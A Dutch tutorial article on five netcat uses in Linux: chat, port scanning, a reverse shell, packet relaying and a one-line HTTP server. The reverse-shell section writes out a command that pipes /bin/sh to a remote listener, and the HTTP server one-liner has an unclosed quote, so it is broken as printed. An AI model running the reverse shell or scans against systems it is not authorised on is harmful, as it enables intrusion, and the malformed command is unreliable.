5 eenvoudig en gemakkelijk gebruik voor Netcat in Linux

5 eenvoudig en gemakkelijk gebruik voor Netcat in Linux

Netcat is een krachtig opdrachtregelnetwerkhulpprogramma in Linux dat TCP- en UDP-pakketten kan verzenden en beluisteren. In tegenstelling tot andere netwerktools is netcat extreem eenvoudig. Door zijn eenvoud kan het echter ook bijna elk type activiteit via een netwerk uitvoeren.

Dit artikel laat je 5 eenvoudige netwerktaken zien die je met netcat kunt uitvoeren. Verder zal dit artikel ook benadrukken wat netcat speciaal maakt en waarom je het in je Linux-toolkit zou moeten opnemen.

Hoe werkt Netcat en waarom gebruiken?

Netcat is een basishulpprogramma dat netwerkpakketten kan verzenden en ontvangen. Het werd voor het eerst uitgebracht in 1995 door een pseudonieme programmeur genaamd Hobbit. Sindsdien is netcat een belangrijk onderdeel van elke Linux-distributie.

In de kern werkt netcat door netwerkverzoeken van de ene Linux-host naar de andere te verzenden. Dit netwerkverzoek kan elk type gegevens bevatten en u kunt het op elke poort verzenden.

Een terminal met een eenvoudige tekstoverdracht met behulp van netcat.

Deze aanpak betekent dat netcat elk type netwerkverbinding kan maken. Het programma kan bijvoorbeeld directe TCP-verbindingen maken die u kunt gebruiken om bestanden over te dragen of reverse shell-sessies te maken .

Een desktop met een eenvoudige bestandsoverdracht tussen twee Linux-hosts met behulp van netcat.
Afbeeldingsbron: Pedro Lastra via Unsplash .

1. Peer-to-peer-chatsessie

Een van de meest basale toepassingen van netcat is een eenvoudige peer-to-peer-chatsessie tussen twee Linux-machines. Dit is een communicatiemethode die niet afhankelijk is van een externe server om informatie te verzenden en te ontvangen.

  • Om dit te laten werken, moet u een poort openen tussen 49152 en 65536 op uw lokale computer. Dit is waar een externe host verbinding kan maken en willekeurige informatie naar uw machine kan sturen.

sudo ufw allow 50000

  • U moet ook een andere poort op de externe host openen zodat uw machine er informatie naartoe kan sturen:

sudo ufw allow 50001

  • Draai netcatop uw machine met de volgende argumenten:

nc -lp 50000

Dit opent een netcat-sessie die actief luistert naar gegevens op poort 50000.

  • De externe host kan nu alle tekstgegevens naar uw lokale computer sturen. De volgende opdracht stuurt bijvoorbeeld de standaardinvoer van het systeem naar een externe machine.

cat - | nc 192.168.122.136 50000

Een terminal met de standaard invoerprompt voor een eenvoudige netcat-chat.
  • Om het bericht te beantwoorden, moet de externe host ook een luisterende daemon uitvoeren:

nc -lp 50001

  • Nu kunt u ook een bericht van de lokale computer naar de externe host sturen:

cat - | nc 192.168.122.177 50001

Een terminal met twee virtuele terminals voor een full-duplex netcat-chat.

2. Basispoortscanner

Een poortscanner is een eenvoudig hulpprogramma dat controleert of een set poorten in een machine toegankelijk is vanaf een externe host. Dit is erg handig in gevallen waarin u niet zeker weet of uw systeem de juiste poorten open heeft staan.

Om te controleren op een enkele poort, kunt u uitvoeren, nc -vgevolgd door het IP-adres en de poort die u wilt controleren:

nc -v 192.168.122.177 80

Een terminal met een basispoortscan voor poort 80.

U kunt ook een nummerbereik opgeven waarbij netcat achtereenvolgens elk poortnummer binnen dat bereik controleert. Als u bijvoorbeeld de volgende opdracht uitvoert, worden alle open “bekende” poorten gescand:

nc -v 192.168.122.177 1-1024

Een terminal met een bulkscan voor

Een van de nadelen van het bevragen van poorten is dat het onnodig netwerkverkeer genereert. Dit kan een probleem zijn als u een groot aantal poorten in een klein thuisnetwerk test.

Om dit op te lossen, schakelt u de “Zero I/O”-modus van netcat in, die geen netwerkactiviteit op de externe host veroorzaakt:

nc -zv 192.168.122.177 1-1024

Een terminal met een zero IO bulkpoortscan met netcat.

3. Omgekeerde schaal

Omgekeerde shells zijn het brood en de boter van penetratietesten in Linux. Dit zijn externe shell-instanties waarmee u een systeem kunt besturen, zelfs zonder open inkomende poorten. Dit maakt reverse shells handig als je toegang nodig hebt tot een machine die geen SSH-toegang heeft.

  • Om een ​​reverse shell te maken, moet u een listener-daemon openen op uw lokale computer:

nc -lp 50000

  • Start een netcat-verbinding op uw externe machine. In dit geval moet u ook de shell-omgeving van de externe machine doorgeven:

nc -e /bin/sh 192.168.122.136 50000

  • Ga terug naar je lokale computer en voer een shell-opdracht uit. Als u bijvoorbeeld uitvoert, lswordt de huidige map van de externe gebruiker afgedrukt.

ls -la

Een terminal die de output laat zien van een succesvolle reverse shell.
  • Om de reverse shell-sessie te beëindigen, kunt u op Ctrl+ drukken Cop de listener-daemon van uw lokale machine.
Een terminal die het sluiten van de reverse shell in de lokale machine laat zien.

4. Basispakketrelais

Naast het rechtstreeks lezen van en schrijven naar een netwerkstream, kunt u netcat ook gebruiken om een ​​inkomende verbinding om te leiden naar een uitgaande poort. Dit werkt door meerdere netcat-listener- en clientsessies aan elkaar te koppelen met behulp van UNIX-pipes.

  • Maak een netcat-sessie die luistert op poort 50000. Dit zal dienen als de uitgaande poort voor uw basisrelais:

nc -lv localhost 50000

  • Open een nieuwe terminal en voer de volgende opdracht uit:

nc -lv localhost 50001 | nc localhost 50000

Als u dit doet, wordt een nieuwe listener-daemon op poort 50001 gemaakt en worden alle pakketten op deze poort automatisch omgeleid naar poort 50000.

Een terminal die de passthrough-verbinding tussen twee poorten weergeeft.
  • U kunt nu gegevens naar uw inkomende poort sturen en netcat zal de uitvoer automatisch omleiden naar uw uitgaande poort.

echo "MakeTechEasier"| nc localhost 50001

Een terminal die een basispakketrelais in actie laat zien.
  • Afgezien van lokale poorten, kunt u deze functie ook gebruiken om netwerkverkeer om te leiden naar een andere machine. De volgende code stuurt bijvoorbeeld gegevens in poort 50000 naar dezelfde poort op een ander systeem:

nc -lv localhost 50000 | nc 192.168.122.177 50000

Een terminal die een basispakketrelay tussen twee hosts laat zien.

5. Basis HTTP-server

Het opzetten van een HTTP-server kan een complex proces zijn, zelfs als u maar één pagina wilt weergeven. In dat opzicht kan netcat ook dienen als een eenvoudige statische webserver die je in Linux kunt laten draaien zonder extra tools te installeren.

  • Maak een eenvoudig HTTP-antwoordbestand. Het volgende codefragment geeft een webpagina weer met een eenvoudig bericht:

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!

<!doctype html>
<html>
<body>
<h1>Hello MakeTechEasier!</h1>
</body>
</html>

  • Sla het op als “index.http” in uw thuismap.
Een terminal die de structuur van een eenvoudig HTTP-antwoord laat zien.
  • Voer de volgende opdracht uit:

while true; do { echo -e 'cat /home/$USER/index.http; } | nc -lv localhost 8080; done

Een terminal waarop een eenvoudige netcat-webserver wordt weergegeven.

Je hebt nu een werkende webserver. U kunt uw webpagina bezoeken door een webbrowser te openen en naar http://localhost:8080 te gaan.

Een screenshot van een werkende netcat-webserver die een webpagina bedient.
  • Druk op de terminal op Ctrl+ Com de huidige webserversessie te verlaten.
Een terminal die het sluitproces voor de standaard netcat-webserver laat zien.

Veel Gestelde Vragen

Ik kan geen verbinding maken met een externe machine met netcat.

Dit probleem wordt hoogstwaarschijnlijk veroorzaakt door een geblokkeerde firewallpoort op de externe computer. U moet ervoor zorgen dat de poort die u op uw machine gebruikt, open staat voor zowel inkomende als uitgaande verbindingen. U moet bijvoorbeeld uitvoeren sudo ufw allow 49999als u poort 49999 op de externe computer wilt gebruiken.

Is het mogelijk om met elke host verbinding te maken met netcat?

Nee. Hoewel netcat elke willekeurige netwerkstream kan lezen en schrijven, kan het geen verbinding maken met een machine die niet kan worden gevonden via het netwerk van uw systeem. Dit zijn onder meer particuliere netwerken waarvoor port forwarding niet is ingeschakeld en air-gap-systemen die geen netwerktoegang hebben.

Is het mogelijk om een ​​verbinding in netcat te vervalsen?

Nee. Dit komt omdat netcat alleen pakketten kan verzenden en ontvangen van een geldige netwerkinterface. U kunt echter wijzigen waar dat specifieke pakket vandaan komt als u meerdere netwerkinterfaces heeft.

U kunt bijvoorbeeld uitvoeren nc -l -s 10.0.0.2 -p 50000om netcat te vertellen om expliciet pakketten te verzenden met behulp van de interface die het IP-adres “10.0.0.2” heeft.

Afbeelding tegoed: ThisisEngineering RAEng via Unsplash . Alle wijzigingen en screenshots door Ramces Red.

Geef een reactie

Je e-mailadres wordt niet gepubliceerd. Vereiste velden zijn gemarkeerd met *